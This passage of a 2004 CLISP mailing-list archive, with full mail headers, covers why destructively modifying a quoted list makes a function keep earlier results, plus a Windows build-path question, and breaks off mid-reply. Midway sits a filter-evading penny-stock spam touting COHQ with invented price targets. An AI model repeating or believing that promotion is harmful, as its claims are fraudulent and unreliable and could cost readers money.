SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] a bug or my error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 06:45:08 2004 X-Original-Date: Mon, 19 Jul 2004 13:43:29 +0000 Hi clisp developers, can you please try this code: (defun symbolize-preserving-case (str-rspc) "\"abc def ghi\" ---> (|abc| |def| ghi|)" (check-type str-rspc string) (let ((list (coerce str-rspc 'list))(char)(result nil)) (setq result '(#\( #\|)) (while list (setq char (pop list)) (if (eql char #\Space) (progn (push-right #\| result) (push-right #\Space result) (push-right #\| result) (while (eql (car list) #\Space) (pop list) ) ) (push-right char result) ) ) (push-right #\| result) (push-right #\) result) (read-from-string (coerce result 'string)) ) ) (defmacro push-right (item place) `(setq ,place (nconc ,place (list ,item))) ) look at what i get: > (symbolize-preserving-case "aaa x y zzzz") (|aaa| |x| |y| |zzzz|) ; 22 so far so good BUT: > (symbolize-preserving-case "abc def ghi") (|aaa| |x| |y| |zzzz|) ; 22 !!! it keeps the result of the previous run!!! although I use "let" form when i run with step variable result start with nil as it should BUT the second parameter of the setq (setq result '(#\( #\|)) has the value of the result of the previous run!!! When i change the (setq result '(#\( #\|)) by (setq result nil) (push #\| result) (push #\( result) it works perfectly. Weird isn't it? clisp version is clisp-2.33.2-10.rh7.3.at.i386.rpm Thanks for your help Jacques -- Dr. Jacques B. Siboni mailto:jacsib@Lutecium.org 8 pass. Charles Albert, F75018 Paris, France Tel. & Fax: 33 (0) 1 42 28 76 78 Home Page: http://www.lutecium.org/jacsib/ From sds@gnu.org Mon Jul 19 07:55:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmZYd-00072Q-88 for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 07:55:59 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BmZYc-000124-PJ for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 07:55:59 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6JEtlwO014438; Mon, 19 Jul 2004 10:55:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Jacques B. Siboni" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <40FBD001.DC944B41@lutecium.org> (Jacques B. Siboni's message of "Mon, 19 Jul 2004 13:43:29 +0000") References: <40FBD001.DC944B41@lutecium.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jacques B. Siboni" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: a bug or my error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 07:56:18 2004 X-Original-Date: Mon, 19 Jul 2004 10:55:47 -0400 > * Jacques B. Siboni [2004-07-19 13:43:29 +0000]: > > (setq result '(#\( #\|)) > (push-right #\| result) > !!! it keeps the result of the previous run!!! you are destructively modifying a quoted list. try (setq result (list #\( #\|))) instead > Weird isn't it? nope. quoted literals are not re-created each time you run your function. try disassembling it. note: [1]> (setf (readtable-case *readtable*) :preserve) :PRESERVE [2]> (READ-FROM-STRING "(foo bar baz)") (foo bar baz) ; 13 [3]> (SETF (READTABLE-CASE *READTABLE*) :UPCASE) :UPCASE [4]> ** (|foo| |bar| |baz|) [5]> alternatively, (let ((*readtable* (copy-readtable nil))) (setf (readtable-case *readtable*) :preserve) (read-from-string "(foo bar baz)")) ==> (|foo| |bar| |baz|) ; 13 -- Sam Steingold (http://www.podval.org/~sds) running w2k The early bird may get the worm, but the second mouse gets the cheese. From jacsib@lutecium.org Mon Jul 19 10:22:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bmbq8-000155-JX for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 10:22:12 -0700 Received: from postfix4-2.free.fr ([213.228.0.176]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bmbq8-0003M7-6R for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 10:22:12 -0700 Received: from lutecium.org (lutecium.org [81.57.37.96]) by postfix4-2.free.fr (Postfix) with ESMTP id 9291C1A8515 for ; Mon, 19 Jul 2004 19:22:08 +0200 (CEST) Received: from lutecium.org (localhost.localdomain [127.0.0.1]) by lutecium.org (8.11.6/8.11.6) with ESMTP id i6JHL9h26744 for ; Mon, 19 Jul 2004 17:21:09 GMT Message-ID: <40FC0305.4B764E17@lutecium.org> From: "Jacques B. Siboni" Organization: Lutecium, Paris, France, http://www.lutecium.org/jacsib X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.4.20-24.7 i686) X-Accept-Language: en, zh-CN, zh, zh-TW, ja, ko MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: a bug or my error? References: <40FBD001.DC944B41@lutecium.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 10:23:03 2004 X-Original-Date: Mon, 19 Jul 2004 17:21:09 +0000 Sam, thanks for the explanation, i was not aware of this side effect. and thanks for the elegant solution you have suggested All the best Jacques Sam Steingold wrote: > > > * Jacques B. Siboni [2004-07-19 13:43:29 +0000]: > > > > (setq result '(#\( #\|)) > > (push-right #\| result) > > !!! it keeps the result of the previous run!!! > > you are destructively modifying a quoted list. > try > > (setq result (list #\( #\|))) > > instead > > > Weird isn't it? > > nope. quoted literals are not re-created each time you run your > function. try disassembling it. > > note: > > [1]> (setf (readtable-case *readtable*) :preserve) > > :PRESERVE > [2]> (READ-FROM-STRING "(foo bar baz)") > > (foo bar baz) ; > 13 > [3]> (SETF (READTABLE-CASE *READTABLE*) :UPCASE) > > :UPCASE > [4]> ** > > (|foo| |bar| |baz|) > [5]> > > alternatively, > > (let ((*readtable* (copy-readtable nil))) > (setf (readtable-case *readtable*) :preserve) > (read-from-string "(foo bar baz)")) > ==> > > (|foo| |bar| |baz|) ; > 13 > -- Dr. Jacques B. Siboni mailto:jacsib@Lutecium.org 8 pass. Charles Albert, F75018 Paris, France Tel. & Fax: 33 (0) 1 42 28 76 78 Home Page: http://www.lutecium.org/jacsib/ From sunfhfphcjhhlo@yahoo.com Mon Jul 19 12:21:25 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmdhP-0006lk-5K; Mon, 19 Jul 2004 12:21:19 -0700 Received: from chello083144066150.chello.pl ([83.144.66.150] helo=66.35.250.206) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BmdhF-0000wa-JU; Mon, 19 Jul 2004 12:21:18 -0700 X-Message-Info: CH09vzHDOoHNVfwl027w1+NNJqui97bcyJI Received: from mail823.mhq.yahoo.com ([136.87.118.36]) by p5-ap607.yahoo.com with Microsoft SMTPSVC(5.0.2195.6824); Mon, 19 Jul 2004 17:16:13 -0300 Received: from USPKY643 (y176.2.105.8.yp0.lfu.yahoo.com [254.24.216.66]) by mail622.r.yahoo.com (5.45.65yv739/6.10.349) with SMTP id qoe80KV0RUXzu12844; Mon, 19 Jul 2004 14:18:13 -0600 Message-ID: <2sqt9s279czn400bbf$fy99v9q58$ry0849ccq7@A0> From: "Calvin Grady" To: "Clisp-list" References: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] COHQ in M.arketW.atch sto.cks to wat.ch for M0nday Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 12:22:03 2004 X-Original-Date: Mon, 19 Jul 2004 19:15:13 -0100 COHQ >< COHQ >< COHQ >< COHQ D.ont mi.ss this inve.stment oppo.rtunity!! COHQ is another h.o.t public tra.ded com.pany that is set to s.oar on Mond.ay, July 19th. You do.nt believe this? Well even Marketwatch.com and Bigcharts.com profiled COHQ in their List of H.O.T compa.nies for Monday. Take a look at the rep.ort: http://cbs.marketwatch.com/news/story.asp?guid={B9FD8EC1-AAAD-429E-B60E-92A042E37219}&symb=COHQ&sid=117513&siteid=bigcharts&tool=1&dist=bigcharts Com.pany rel.eased fanta.stic new.s and it is expe.cted that the dem.and is so high that COHQ st.ock pri.ce go.es to 40-50 cents by the end of the we.ek!! BIG PR camp.aign startin.g on 19th of J.uly for COHQ - Sto.ck will exp.lode - Just read the n.ews P.rice on Friday: 10cents Next 3 days potential pric.e: 58cents Next 10 days potential pric.e: 75cents Get on Bo.ard with COHQ and enjoy some inc.redible pr.ofits in the next 10 days! ------------------C.ompany I.nformation--------------------------- CorpHQ Inc. operated as an Internet market.place from 1993-2000 and was recognized as the pioneering vertical portal for the small office-home off.ice mar.ket by a number of major public.ations and instit.utions including: the W.all Stree.t Jou.rnal, Entrep.reneur Magazine and the Sof.tware Council of Southern California. The company was reorganized after divesting its Internet operation to BusinessMall.com Inc. in 1999. Our busi.ness stra.tegy over the past few years has primarily involved the development, acquis.ition and ope.ration of mino.rity-owned sub.sidiaries focu.sed on con.sumer prod.ucts and commer.cial technologi.es, as well as the d.evelopment of cons.ulting and other busine.ss relationships with non-subsidi.ary comp.anies that have demonstrated synergies with our core busin.esses and where we can add substantial value. We assist high-pote.ntial entr.epreneurs in building their compa.nies from concept to po.sitive ca.shflow. We invest our own capital at startup, and later aug.ment our portfolio comp.anies' capita.l with fun.ds from out.side inv.estors. Using a 'vi.rtual' vari.ation of a bu.siness incubator process, we surround the entre.preneur with our own seasoned manage.ment and profes.sional teams. We gradually replace our personnel with permanent man.agement, until we no longer are involved in operations -- typically at positive cashflow. Our function is that of a "B.usiness L.aunch P.ad," and our goal is to create quality, high value companies -- one at a time. ------------------------ N_._E_._W_._S ---------------------------- REDONDO BEACH, Calif., Jul 16, 2004 (BUSINESS WIRE) -- CorpHQ Inc. (COHQ) today announced that it had achieved a liq.uidity event by dive.sting a portion of its eq.uity holdings in a portfolio co.mpany, Safeguard Technology International, Inc. CorpHQ dive.sted an aggre.gate of 1,000,000 sha.res of c.ommon sto.ck at 20cents per sha.re to accred.ited inve.stors in a series of private transa.ctions which closed over the past week. Concurrently with the sale of these sh.ares, CorpHQ made a cap.ital contribution of an additional 1,400,000 shar.es to Safeguard for no additional consideration. Apart from the 200,000 Dollar$ in gr.oss c.ash proc.eeds rece.ived, CorpHQ will realize approx.imately 04cents per share increase on all Safeguard sh.ares held by it, which will substa.ntially increase its fina.ncial perfo.rmance for the third quarter of 2004. ------------------------------------------------------------------- Inform.ation within this email contains "f.orward look.ing state.ments" within the meaning of Sect.ion 27A of the Sec.urities Ac.t of 1933 and Sect.ion 21B of the Securit.ies Exc.hange Ac.t of 1934. Any stat.ements that express or involve discu.ssions with resp.ect to pre.dictions, goa.ls, expec.tations, be.liefs, pl.ans, proje.ctions, object.ives, assu.mptions or fut.ure eve.nts or perform.ance are not stat.ements of histo.rical fact and may be "forw.ard loo.king stat.ements." For.ward looking state.ments are based on expect.ations, estim.ates and project.ions at the time the statem.ents are made that involve a number of risks and uncertainties which could cause actual results or events to differ materially from those prese.ntly anticipated. Forward look.ing statements in this action may be identified through the use of words su.ch as: "pro.jects", "for.esee", "expects", "est.imates," "be.lieves," "underst.ands" "wil.l," "part of: "anticip.ates," or that by stat.ements indi.cating certain actions "may," "cou.ld," or "might" occur. All information provided within this em.ail pertai.ning to inv.esting, st.ocks, securi.ties must be under.stood as informa.tion provided and not investm.ent advice. Eme.rging Equity Al.ert advi.ses all re.aders and subscrib.ers to seek advice from a registered profe.ssional secu.rities represent.ative before dec.iding to trade in sto.cks featured within this ema.il. None of the mate.rial within this rep.ort shall be constr.ued as any kind of invest.ment advi.ce. Please have in mind that the interpr.etation of the witer of this newsl.etter about the news published by the company does not represent the com.pany official sta.tement and in fact may differ from the real meaning of what the news rele.ase meant to say. Please read the news release by your.self and judge by yourself about the detai.ls in it. In compli.ance with Sec.tion 17(b), we discl.ose the hol.ding of COHQ s.hares prior to the publi.cation of this report. Be aware of an inher.ent co.nflict of interest res.ulting from such holdi.ngs due to our intent to pro.fit from the liqui.dation of these shares. Sh.ares may be s.old at any time, even after posi.tive state.ments have been made regard.ing the above company. Since we own sh.ares, there is an inher.ent conf.lict of inte.rest in our statem.ents and opin.ions. Readers of this publi.cation are cauti.oned not to place und.ue relia.nce on forw.ard-looki.ng statements, which are based on certain assump.tions and expectati.ons invo.lving various risks and uncert.ainties, that could cause results to differ materi..ally from those set forth in the forw.ard- looking state.ments. Please be advi.sed that noth.ing within this em.ail shall cons.titute a solic.itation or an offer to buy or sell any s.ecurity menti.oned her.ein. This news.letter is neither a regi.stered inves.tment ad.visor nor affil.iated with any brok.er or dealer. All statements made are our express opinion only and should be treated as such. We may own, buy and sell any securi.ties menti.oned at any time. This report includes forw.ard-looki.ng stat.ements within the meaning of The Pri.vate Securi.ties Litig.ation Ref.orm Ac.t of 1995. These state.ments may include terms as "expe.ct", "bel.ieve", "ma.y", "wi.ll", "mo.ve","und.ervalued" and "inte.nd" or simil.ar terms. This news.letter was paid $7500 from th.ird p.arty to se.nd this report. PL.EASE DO YOUR OWN D.UE DI.LIGENCE B.EFORE INVES.TING IN ANY PRO.FILED COMP.ANY. You may lo.se mon.ey from inve.sting in Pen.ny St.ocks. ------------------------------------------------------------------- From teixeirm@onid.orst.edu Mon Jul 19 13:34:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmeqD-0002kz-0U for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 13:34:29 -0700 Received: from smtp3.oregonstate.edu ([128.193.0.12]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BmeqC-0006XZ-Nl for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 13:34:28 -0700 Received: from localhost (localhost [127.0.0.1]) by smtp3.oregonstate.edu (Postfix) with ESMTP id 14C8810485C for ; Mon, 19 Jul 2004 13:34:28 -0700 (PDT) Received: from smtp3.oregonstate.edu ([127.0.0.1]) by localhost (smtp3 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25819-06 for ; Mon, 19 Jul 2004 13:34:27 -0700 (PDT) Received: from shell.onid.orst.edu (shell.onid.oregonstate.edu [128.193.12.16]) by smtp3.oregonstate.edu (Postfix) with ESMTP id ECC7D10481E for ; Mon, 19 Jul 2004 13:34:27 -0700 (PDT) Received: by shell.onid.orst.edu (Postfix, from userid 23250) id E8B1619F315; Mon, 19 Jul 2004 13:34:27 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by shell.onid.orst.edu (Postfix) with ESMTP id E77862A2B47 for ; Mon, 19 Jul 2004 13:34:27 -0700 (PDT) From: Mike Teixeira X-X-Sender: teixeirm@shell To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian GNU/Linux) at oregonstate.edu X-Spam-Status: No, hits=0.0 tagged_above=-999.0 required=5.0 tests= X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] clisp 2.33.2 build error on win32 with msvc 7.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 13:35:04 2004 X-Original-Date: Mon, 19 Jul 2004 13:34:27 -0700 (PDT) Hello, I am trying to build clisp 2.33.2 on a win32 machine that is running Visual Studio .NET 2003. I am using the MFLAGS of -MT. I went through the /win32msvc/INSTALL file to build clisp. When it has you copy the makefile to the src directory I copied Makefile.msvc7 to the src directory. When I run nmake on the makefile, it brings up this error: ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 -IC:\Program Files\Microsoft Visual Studio .NET 2003\VC7\include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64 -IC:\Program Files\Microsoft Visual Studio .NET 2003\VC7\PlatformSDK\include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. spvw.c > spvw.i.c ..\utils\gcc-cccp\cccp: Usage: ..\utils\gcc-cccp\cccp [switches] input output NMAKE: fatal error U1077: ..\utils\gcc-cccp\cccp' : return code '0x21' Stop. Has anyone experienced this problem before? Does anyone have a solution? Thanks, Mike From sds@gnu.org Mon Jul 19 13:54:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bmf9D-0005xW-Dk for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 13:54:07 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bmf9C-0001aG-VR for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 13:54:07 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6JKrrwO009456; Mon, 19 Jul 2004 16:53:53 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mike Teixeira Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Mike Teixeira's message of "Mon, 19 Jul 2004 13:34:27 -0700 (PDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Mike Teixeira Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " Subject: [clisp-list] Re: clisp 2.33.2 build error on win32 with msvc 7.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 13:55:02 2004 X-Original-Date: Mon, 19 Jul 2004 16:53:52 -0400 > * Mike Teixeira [2004-07-19 13:34:27 -0700]: > > ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 -IC:\Program > Files\Microsoft Visual Studio .NET 2003\VC7\include -D_MSC_VER=1300 > -D_INTEGRAL_MAX_BITS=64 -IC:\Program Files\Microsoft Visual Studio .NET > 2003\VC7\PlatformSDK\include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT > -DNO_SIGSEGV -I. spvw.c > spvw.i.c > > ..\utils\gcc-cccp\cccp: Usage: ..\utils\gcc-cccp\cccp [switches] input > output try quoting the path that contains backslashes and spaces. i.e., write -I"C:/Program Files/Microsoft Visual Studio" -- Sam Steingold (http://www.podval.org/~sds) running w2k Whether pronounced "leenooks" or "line-uks", it's better than Windows. From pascal@informatimago.com Mon Jul 19 16:48:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bmhro-0003KN-3r for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 16:48:20 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bmhrm-0004K3-Aw for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 16:48:20 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E7B87586E4; Tue, 20 Jul 2004 01:48:05 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3665454AB6; Tue, 20 Jul 2004 01:47:51 +0200 (CEST) Message-ID: <16636.23975.105491.155446@thalassa.informatimago.com> To: "Jacques B. Siboni" Cc: clisp list Subject: [clisp-list] a bug or my error? In-Reply-To: <40FBD001.DC944B41@lutecium.org> References: <40FBD001.DC944B41@lutecium.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 16:49:00 2004 X-Original-Date: Tue, 20 Jul 2004 01:47:51 +0200 Jacques B. Siboni writes: > Hi clisp developers, > > can you please try this code: > > > (defun symbolize-preserving-case (str-rspc) > "\"abc def ghi\" ---> (|abc| |def| ghi|)" (defun symbolize-preserving-case (str-rspc) "\"abc def ghi\" ---> (|abc| |def| ghi|)" (check-type str-rspc string) (do* ((start (skip-spaces str-rspc 0) (skip-spaces str-rspc start)) (result '())) ((>= start (length str-rspc)) (nreverse result)) (let ((end (do ((end start (1+ end))) ((or (>= end (length str-rspc)) (char= #\space (aref str-rspc end))) end)))) (push (intern (subseq str-rspc start end)) result) (setf start end)))) (symbolize-preserving-case "abc def ghi") ==> (|abc| |def| |ghi|) (symbolize-preserving-case "aaa x y zzzz") ==> (|aaa| |x| |y| |zzzz|) Or even: (defun symbolize-preserving-case (str) "\"abc def ghi\" ---> (|abc| |def| ghi|)" (check-type str string) (mapcar (function intern) (delete "" (split-string str " ") :test (function string=)))) Or you could use the community standard split-sequence instead of my split-string. The point is that you can abstract and simplify your functions with higher level constructs.  > (defmacro push-right (item place) > `(setq ,place (nconc ,place (list ,item))) ) > look at what i get: > > > (symbolize-preserving-case "aaa x y zzzz") > (|aaa| |x| |y| |zzzz|) ; > 22 > > so far so good > > BUT: > > > (symbolize-preserving-case "abc def ghi") > (|aaa| |x| |y| |zzzz|) ; > 22 > > !!! it keeps the result of the previous run!!! > although I use "let" form LET has nothing to do with it! > when i run with step variable result start with nil as it should > > BUT the second parameter of the setq > (setq result '(#\( #\|)) > has the value of the result of the previous run!!! Obviously! With this setq, you're making result reference to THE literal list: ( #\( #\| ) Then you modify this literal list with the nconc of your push-right macro! If you fetched the function lambda expression, you'd see that what you've done is modify your program! CL-USER> (function-lambda-expression (function symbolize-preserving-case)) (LAMBDA (STR-RSPC) (DECLARE (SYSTEM::IN-DEFUN SYMBOLIZE-PRESERVING-CASE)) (BLOCK SYMBOLIZE-PRESERVING-CASE (CHECK-TYPE STR-RSPC STRING) (LET ((LIST (COERCE STR-RSPC 'LIST)) (CHAR) (RESULT NIL)) (SETQ RESULT '(#\( #\|)) (WHILE LIST (SETQ CHAR (POP LIST)) (IF (EQL CHAR #\Space) (PROGN (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\Space RESULT) (PUSH-RIGHT #\| RESULT) (WHILE (EQL (CAR LIST) #\Space) (POP LIST))) (PUSH-RIGHT CHAR RESULT))) (PUSH-RIGHT #\| RESULT) (PUSH-RIGHT #\) RESULT) (READ-FROM-STRING (COERCE RESULT 'STRING))))) #(NIL NIL NIL NIL ((DECLARATION VALUES OPTIMIZE DECLARATION))) SYMBOLIZE-PRESERVING-CASE CL-USER> (symbolize-preserving-case "aaa x y zzzz") (|aaa| |x| |y| |zzzz|) 22 CL-USER> (function-lambda-expression (function symbolize-preserving-case)) (LAMBDA (STR-RSPC) (DECLARE (SYSTEM::IN-DEFUN 